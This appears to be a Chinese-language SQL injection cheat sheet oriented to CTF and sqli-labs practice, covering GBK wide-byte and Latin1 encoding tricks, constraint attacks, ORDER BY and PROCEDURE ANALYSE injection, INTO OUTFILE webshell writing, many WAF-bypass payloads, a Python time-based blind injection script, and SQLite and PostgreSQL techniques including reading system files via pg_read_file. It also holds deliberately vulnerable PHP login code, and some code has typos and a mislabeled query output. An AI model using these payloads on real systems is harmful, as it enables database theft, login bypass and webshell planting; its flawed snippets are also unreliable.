宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。PHP的编码为UTF-8 而MySql的编码设置为了SET NAMES 'gbk' 或是SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

1
$conn->query("set names 'gbk';");

GBK编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
} $
conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);//非常安全的转义函数
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
echo $sql.'<br>';
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
} ?>
用户名输入:admin' or 1=1#
转义后为: admin\' or 1=1#
执行语句:... where username='admin\' or 1=1#'

用户名输入:admin%df' or 1=1#
转义后为: admin%df\' or 1=1#
SET character_set_client ='gbk'后:admin運' or 1=1#
执行语句:... where username='admin運' or 1=1#'

%df 吃掉\ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的mysql 在GBK 编码方式的,第一位范围为0x00-0x7F时,当作一个字符。%df不在这个范围内,因此会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

Latin1编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$mysqli = new mysqli( "localhost","root","root","cat");
if($mysqli->connect_errno){
printf("failed: %s\n", Smysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username= addslashes($_GET['username']);
//我们在其基础上添加这么一条语句。
if($username === 'admin'){
die("You can't do this");
}

$sqL= "SELECT * FROM `table1` WHERE username='{$username}'";
if($result = $mysqli->query($sql)){
printf("select returned %d rous.\n",$resule->num_rows);
while ($row = $result->fetch_ array(MYSQLI_ASSOC))
{
var_ dump($row);
}
$resule->close();
}else{
var_dump($mysqli->error);
}
$mysqli->close();
?>

SQL语句会先转成character_set_client设置的编码。但他接下来还会继续转换。character_set_client客户端层转换完毕之后,数据将会交给character_set_connection连接层处理,最后在从character_set_connection转到数据表的内部操作字符集。

字符集的转换为:UTF-8—>UTF-8->Latin1

UTF-8编码是变长编码,可能有1~4个字节表示:

• 一字节时范围是[00-7F]
• 两字节时范围是[C0-DF][80-BF]
• 三字节时范围是[E0-EF][80-BF][80-BF]
• 四字节时范围是[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

所以最终,UTF-8第一字节的取值范围是:00-7FC2-F4

输入:?username=admin%c2
其中%c2是一个Latin1字符集不存在的字符。%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符而只是其他长字节编码结果的首字节。

对于不完整的长字节UTF-8编码的字符,进行字符集转换时会直接忽略,所以admin%c2会变成admin

约束攻击

当数据库字符串长度过短,并且后端没有对字符串进行长度限制时

1
2
3
4
CREATE TABLE users(
username varchar(20),
password varchar(20)
)

漏洞代码逻辑如下:

代码由登录和注册构成。

1.用select * from table where username='$username'检测你输入的用户名,如果存在,说明你注册过,那么不让你注册。

2.用户名不存在,用insert into table values('$username','$password')把你输入的用户名密码插入数据库。

insertselect语句执行不一样造成

INSERT语句:截取前20个字符
SELECT语句:输入什么就是什么

当我们注册时字符串长度超过20,那么使用select检测时就会不存在,那么就使用insert插入,这时候由于长度超过20,截取前20个字符。

注册admin a -> SELECT认为不存在-> INSERT了前20位-> 使用自己注册的admin和对应密码进行登录~

1
INSERT插入了admin+15空格,实际上是插入了admin,末尾的空格会被MySQL忽略掉

这样就修改了admin的密码了

order by 后的injection

order by参数后注入

从本关开始,我们开始学习order by 相关注入的知识。本关的sql 语句为$sql = “SELECT * FROM users ORDER BY $id”;尝试?sort=1 desc 或者asc,显示结果不同,则表明可以注入。(升序or 降序排列)从上述的sql 语句中我们可以看出,我们的注入点在order by 后面的参数中,而order by不同于的我们在where 后的注入点,不能使用union 等进行注入。如何进行order by 的注入,我们先来了解一下mysql 官方select 的文档。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

我们可利用order by 后的一些参数进行注入。

(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

1
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)

没有报错,但是right 换成left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。此处可以直接构造?sort= 后面的一个参数。此时,我们可以有三种形式,

  • 直接添加注入语句,?sort=(select ******)
  • 利用一些函数。例如rand()函数等。?sort=rand(sql 语句)
    Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
1
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(false)

20210201143404

1
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(true)

20210201143450

  • 利用and,例如?sort=1 and (加sql 语句)。

同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

1
http://127.0.0.1/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

接下来我们用rand()进行演示一下,因为上面提到rand(true)和rand(false)结果是不一样的。

1
2
3
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。

延时注入例子

1
2
http://127.0.0.1/sqli-labs/Less-46/?sort= (SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))

同时也可以用?sort=1 and 后添加注入语句。

procedure analyse 参数后注入

此方法适用于MySQL 5.x中,在limit语句后面的注入

利用procedure analyse 参数,我们可以执行报错注入。同时,在procedure analyse 和order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在limit 后的注入,可以利用procedure analyse 进行注入。

1
2
3
4
5
http://127.0.0.1/sqli-labs/Less-46/?sort=1  procedure analyse(extractvalue(rand(),con
cat(0x3a,version())),1)
//SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
如果不支持报错注入的话,还可以基于时间注入:
//SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

导入导出文件into outfile 参数

1
2
3
4
5
6
http://127.0.0.1/sqli-labs/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test
1.txt"
将查询结果导入到文件当中
那这个时候我们可以考虑上传网马,利用lines terminated by
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16 进制转
换)

绕过过滤

空格被过滤

1
2
3
4
5
6
7
8
/**/替代空格
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
() 代替空格,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。

%a0�

这个可算是一个不成汉字的中文字符了,那这应该就好理解了,因为%a0的特性,在进行正则匹配时,匹配到它时是识别为中文字符的,所以不会被过滤掉,但是在进入SQL语句后,Mysql是不认中文字符的,所以直接当作空格处理,就这样,我们便达成了Bypass的目的,成功绕过空格+注释的过滤

过滤单引号

当在登录时使用的是如下SQL语句:

1
select user from user where user='$_POST[username]' and password='$_POST[password]';

在这里单引号被过滤了,但是反斜杠\并没有被过滤。则单引号可以被转义

输入的用户名以反斜杠\结尾

1
2
3
4
5
6
7
username=admin\&password=123456#
将这个拼接进去,\就可以将第2个单引号转义掉
select * from users where username='admin\' and password='123456#';
这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体
接下来构造password为or 2>1#
select * from users where username='admin\' and password=' or 2>1#';
上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注

注释符

1
2
3
4
5
6
7
8
9
10
//
--%20
/**/
#
--+
-- -
%00
;
;%00
;\x00

大小写绕过

双写绕过

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

like绕过

1
2
?id=1' or 1 like 1#
可以绕过对 = > 等过滤

in绕过

1
2
or '1' IN ('1234')#
可以替代=

等价函数或变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

反引号绕过

1
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

过滤union

1
2
3
waf = 'and|or|union'
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤where

1
2
3
waf = 'and|or|union|where'
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

1
2
3
waf = 'and|or|union|where|limit'
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

1
2
3
waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

1
2
3
4
waf = 'and|or|union|where|limit|group by|select'
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
只能查询本表中的数据
绕过方式 1 && substr(user,1,1) = 'a'

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

过滤’(单引号)

1
2
3
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤hex

1
2
3
waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

1
2
3
waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

过滤,逗号

1
2
3
4
5
6
7
//过滤了逗号怎么办?就不能多个参数了吗?
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
意思相同
substr支持这样的语法:
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
MID()后续加入了这种写法

常用Payload总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//联合查询
//获取当前数据库的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
//获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
//查询数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
//如果group_concat被过滤了,而又只能返回一条数据,则用limit 0,1

//布尔盲注脚本
import requests as req
import time as t
import string

url = "xxx"

select = "select group_concat(table_name) from information_schema.tables where binary table_schema in (select databases())"
select = "select group_concat(column_name) from information_schema.columns where binary table_name in ('xxxx') "
select = "select group_concat(xxxx) from xxxxxxx"
res = ""

def text2hex(s):
res = ""
for i in s:
res +=hex(ord(i)).replace("0x", "")
return "0x" + res

for i in range(1,50):
for ascii in string.printable:
if ascii == '\\': #转义符号没有意义
continue
data = {
"username" : "admin",
"password" : f"123' or if((binary right(({select},{i}) in ({text2hex(ascii+res)})),(select benchmark(15000000.sha1(sha(sha(1)))) in (0)),0)#".replace(" ", "/**/")
}
start = int(t.time())
r = req.post(url=url, data=data)
end = int(t.time()) - start
print(data)
if end > 4:
res = ascii +res
print(res)
break
if ascii == string.printable[-1:]:
exit(0)

Sqlite注入

注释符

1
2
3
/**/
--
两种注释符 --后面不带空格

可以用于判断数据库类型

1
#`如果不生效的话则说明不是`mysql

sqlite系统库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
--先创建两个表
CREATE TABLE GIFT(
ID INT PRIMARY KEY NOT NULL,
ITEM TEXT NOT NULL,
LOG TEXT NOT NULL
);

CREATE TABLE SECRET(
ID INT NOT NULL,
fl4ggg TEXT PRIMARY KEY NOT NULL
);

INSERT INTO GIFT (ID,ITEM,LOG) VALUES (1, "Turkey", "Most British families like
to cook their own turkey. A large number of vegetables and fruits, such as
asparagus, celery, onions and chestnuts, are stuffed into the belly of a ten
pound turkey, and then coated with a variety of spices before being baked in
the oven.");
INSERT INTO SECRET (id,fl4ggg) VALUES (1, "flag{Y1ng}");

mysql中查询库名、表名等有系统数据库information_schema,而在sqlite中则是表sqlite_master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
--查询表名
sqlite> SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%';
GIFT
SECRET
--注:这里之所以使用NOT like 'sqlite_%',是避免出来系统的表,但是可能题目故意将表名弄成sqlite开头

--查询列名
sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='GIFT';
CREATE TABLE GIFT(
ID INT PRIMARY KEY NOT NULL,
ITEM TEXT NOT NULL,
LOG TEXT NOT NULL
)
sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='SECRET';
CREATE TABLE SECRET(
ID INT NOT NULL,
fl4ggg TEXT PRIMARY KEY NOT NULL
)

字符串截取

mysql类似,sqlite中也有字符串截取的函数

substr()、substring()、like、=、>、<、in、between,这些与mysql差不多

sqlite特有的

TRIM

1
2
3
4
5
6
7
8
9
10
11
12
13
TRIM (字符串,要移除的字符) 如果要移除的字符不写,默认是空格
LTRIM 字符串开头部分移除
RTRIM 字符串结尾部分移除
--这个函数与mysql中的TRIM用法不一样

sqlite> select trim('aaaadsd','a');
dsd
sqlite> select trim('aaaadsda','a');
dsd
可以通过特定的trim构造,实现right()和left()的功能
sqlite> select ltrim('casdasd','a') = ltrim("casdasd","c");
0
--通过ltrim去除字符与后一个trim判断相等,确定字符

printf(FORMAT,…)

1
2
3
4
5
6
7
8
sqlite> select printf('%.1s','aaaaa');
a
sqlite> select printf('%.2s','aaaaa');
aa
sqlite> select printf('%.3s','aaaaa');
aaa

--通过printf函数格式化操作对字符串截取

通过printf判断长度

1
2
3
4
--如果printf('%.is', 'abc')=printf('%.i+1s', 'abc') 则说明字符串长度为i

sqlite> select printf('%.5s','aaaaa') = printf('%.6s','aaaaa');
1

比较

GLOB

运算符是用来匹配通配符指定模式的文本值。如果搜索表达式与模式表达式匹配,GLOB 运算符将返回1。与LIKE 运算符不同的是,GLOB 是大小写敏感的,对于下面的通配符,它遵循UNIX 的语法。

  • 星号*

  • 问号?

    星号*代表零个、一个或多个数字或字符。问号?代表一个单一的数字或字符。这些符号可以被组合使用。

LIKE

LIKE 运算符是用来匹配通配符指定模式的文本值。如果搜索表达式与模式表达式匹配,LIKE 运算符将返回真(true),也就是 1。这里有两个通配符与 LIKE 运算符一起使用

  • 百分号%

  • 下划线_

    百分号(%)代表零个、一个或多个数字或字符。下划线(_)代表一个单一的数字或字符。这些符号可以被组合使用。

条件判断

  • case when X then Y else Z end 这个语句和mysql是相同的
  • iif(X,Y,Z)

注意:

  1. sqlite中没有if语句
  2. iif只有version>=3.32可用
1
2
3
4
5
6
sqlite> select case when (1=1) then 1 else 0 end;
1
sqlite> select case when (1=2) then 1 else 0 end;
0

--iif函数使用的版本比较高

构造报错

mysql中可以使用exp(999999)报错,但是sqlite中没有

sqlite中使用randomblob(N):返回N-byte blob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sqlite> select randomblob(1);

sqlite> select randomblob(2);
�`
sqlite> select randomblob(3);
~��
sqlite> select randomblob(4);
�2q�
--随机返回N个字节的字符
--转化为十六进制看看
sqlite> select hex(randomblob(4));
F8896FC0

--当长度过长时报错
sqlite> select randomblob(10000000000);
Error: string or blob too big

时间盲注

sqlite中并没有sleep()这样的延时函数,通过like匹配和RANDOMBLOB组合延时

1
2
3
4
5
6
-- 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([秒]00000000/2))))

sqlite> select 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))));
0

--虽然没有像sleep那样精确,但是也够用了

SQLi-Quine

在做CTF时可能遇见数据库里没有东西,但是却要求输入的与数据库查询的内容相等

1
2
3
4
5
6
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}

上诉的sql语句要求输入的密码和查询的密码相等,在注入的过程中发现数据库没有东西。因此构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--

Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
sqlite> select ''Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||');

' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

sqlite> select '' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
...> ;

' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

参考题目:ASIS CTF Quals 2020 Admin Panel

生成脚本参考:https://www.shysecurity.com/post/20140705-SQLi-Quine

PostgreSQL注入

注释符

1
2
3
/**/
--
两种注释符 --后面不带空格

判断是plsql还是sqlite

1
2
3
4
5
--可以注释,#不可注释,则不是mysql
利用exp(999999)构造报错,可判断是PostgreSQL
或者测试延时盲注利用pg_sleep()
postgres=# select 123 where 123 = exp(9999999);
ERROR: value out of range: overflow

LIKE注入

1
2
string LIKE pattern [ESCAPE escape-character]
string NOT LIKE pattern [ESCAPE escape-character]

在LIKE 子句中,通常与通配符结合使用,通配符表示任意字符,在PostgreSQL 中,主要有以下两种通配符(如果没有使用通配符,LIKE 子句和等号= 一样):

  • 百分号%
  • 下划线_

_匹配任意一个字符,%匹配0至多个任意字符。

下面是 LIKE 语句中演示了 %_ 的一些差别:

实例 描述
WHERE SALARY::text LIKE ‘200%’ 找出 SALARY 字段中以 200 开头的数据。
WHERE SALARY::text LIKE ‘%200%’ 找出 SALARY 字段中含有 200 字符的数据。
WHERE SALARY::text LIKE ‘_00%’ 找出 SALARY 字段中在第二和第三个位置上有 00 的数据。
WHERE SALARY::text LIKE ‘2 % %’ 找出 SALARY 字段中以 2 开头的字符长度大于 3 的数据。
WHERE SALARY::text LIKE ‘%2’ 找出 SALARY 字段中以 2 结尾的数据
WHERE SALARY::text LIKE ‘_2%3’ 找出 SALARY 字段中 2 在第二个位置上并且以 3 结尾的数据
WHERE SALARY::text LIKE ‘2___3’ 找出 SALARY 字段中以 2 开头,3 结尾并且是 5 位数的数据

在 PostgreSQL 中,LIKE 子句是只能用于对字符进行比较,因此在上面例子中,我们要将整型数据类型转化为字符串数据类型。

根据活动的语言环境,可以使用关键字ILIKE代替LIKE来使匹配不区分大小写。这不是 SQL 标准,而是 PostgreSQL 扩展。

如果匹配的字符串中包含特殊字符,使用escape ''来选择转义任何字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
postgres=# select 'aaa%bbb' like 'aaa%';
?column?
----------
t
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%' escape '1';
?column?
----------
f
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%%' escape '1';
?column?
----------
t
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%bb' escape '1';
?column?
----------
f
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%bb_' escape '1';
?column?
----------
t
(1 row)

--可以看到使用escape之后,将1当作转义符

如果like被过滤,可以使用~~

1
2
3
4
5
postgres=# select '123' ~~ '1%';
?column?
----------
t
(1 row)

运算符~~等效于LIKE,而~~*对应于ILIKE。还有!~~!~~*运算符分别代表NOT LIKENOT ILIKE。所有这些运算符都是特定于 PostgreSQL 的。您可能会在EXPLAIN输出和类似的位置看到这些运算符名称,因为解析器实际上翻译了LIKE等。这些运算符。

类似还有SIMILAR TO

SIMILAR TO运算符根据其模式是否与给定的字符串匹配而返回 true 或 false。它类似于LIKE,除了它使用 SQL 标准的正则表达式定义来解释模式。 SQL 正则表达式是LIKE表示法和通用正则表达式表示法之间的一个奇怪的交叉。

LIKE一样,SIMILAR TO运算符仅在其模式与整个字符串匹配时才成功;这与常见的正则表达式行为不同,在常规行为中,模式可以匹配字符串的任何部分。与LIKE一样,SIMILAR TO使用_%作为通配符,分别表示任何单个字符和任何字符串(在 POSIX 正则表达式中,它们分别与..*相类似)。

除了从LIKE借用的这些功能之外,SIMILAR TO还支持从 POSIX 正则表达式借用的这些模式匹配元字符:

  • |表示交替(两种选择之一)。
  • *表示重复上一个项目零次或多次。
  • +表示重复前一个项目一次或多次。
  • ?表示重复上一个项目零或一次。
  • { m MARKDOWN_HASHcbb184dd8e05c9709e5dcaedaa0495cfMARKDOWN*HASH*表示前一项正好重复m *次。
  • { m ,}表示重复上一项 m 或更多次。
  • { m , n }表示前一项重复至少 m 但不超过 n 次。
  • 括号()可用于将项目分组为单个逻辑项目。
  • 与 POSIX 正则表达式一样,方括号表达式[...]指定字符类。

请注意,句点(.)不是SIMILAR TO的元字符。

LIKE一样,反斜杠会禁用任何这些元字符的特殊含义;或可以使用ESCAPE指定其他转义字符。

Some examples:

1
2
3
4
'abc' SIMILAR TO 'abc'      true
'abc' SIMILAR TO 'a' false
'abc' SIMILAR TO '%(b|d)%' true
'abc' SIMILAR TO '(b|c)%' false

聚合函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
plsql`中并没有`group_concat()`这个函数,用聚合函数`array_agg()、string_agg()
--array_agg(expression) 把表达式变成一个数组
postgres=# select array_agg(name) from company;
array_agg
-----------
{Paul,cc}
(1 row)

--通常搭配array_to_string()使用

postgres=# select array_to_string(array_agg(name),',') from company;
array_to_string
-----------------
Paul,cc
(1 row)
--string_agg(expression, delimiter) 直接把一个表达式变成字符串
postgres=# select string_agg(name,',') from company;
string_agg
------------
Paul,cc
(1 row)

延时函数

1
pg_sleep(5)

注意:

1
2
3
4
5
--与mysql中的sleep()有所不同
--当将pg_sleep()与布尔一起使用时会报错,因为pg_sleep返回值为空。
postgres=# select '1' = pg_sleep(1);
ERROR: argument of AND must be type boolean, not type void
LINE 1: select '1' and pg_sleep(1);

这里提供几种解决的办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
方法1:
select xxx from pg_sleep(); --可以延时,并且返回xxx

postgres=# select 1 from pg_sleep(1);
?column?
----------
1
(1 row)
--通过这个就有返回值,可以比较了
postgres=# select '1'=(select '1' from pg_sleep(1));
?column?
----------
t
(1 row)

--可以看出plsql的数据类型比较严格,不会随意进行转换

方法2:
--通过类型转换,将数据转化为字符
postgres=# select '1'=pg_sleep(1)::varchar;
?column?
----------
f
(1 row)

select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)::VARCHAR else 'a' end);

方法3:
--通过||
--与mysql不一样,在plsql中,||是拼接字符串的意思

postgres=# select '1'||'asss';
?column?
----------
1asss
(1 row)
select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)||'b' else 'a' end);

文件操作

pg_ls_dir():列出目录的内容。 默认限制为超级用户,但可以授予其他用户 EXECUTE 来运行该功能。

pg_read_file():列出目录的内容。 默认限制为超级用户,但可以授予其他用户 EXECUTE 来运行该功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
postgres=# select pg_ls_dir('/');
pg_ls_dir
------------
home
srv
etc
opt
root
lib
mnt
usr
media
lib64
sys
dev
sbin
boot
bin
run
lib32
libx32
init
proc
snap
tmp
var
lost+found
(24 rows)

postgres=# select pg_ls_dir('/');
pg_read_file
-------------------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash +
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +
bin:x:2:2:bin:/bin:/usr/sbin/nologin +
sys:x:3:3:sys:/dev:/usr/sbin/nologin +
sync:x:4:65534:sync:/bin:/bin/sync +
games:x:5:60:games:/usr/games:/usr/sbin/nologin +
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +
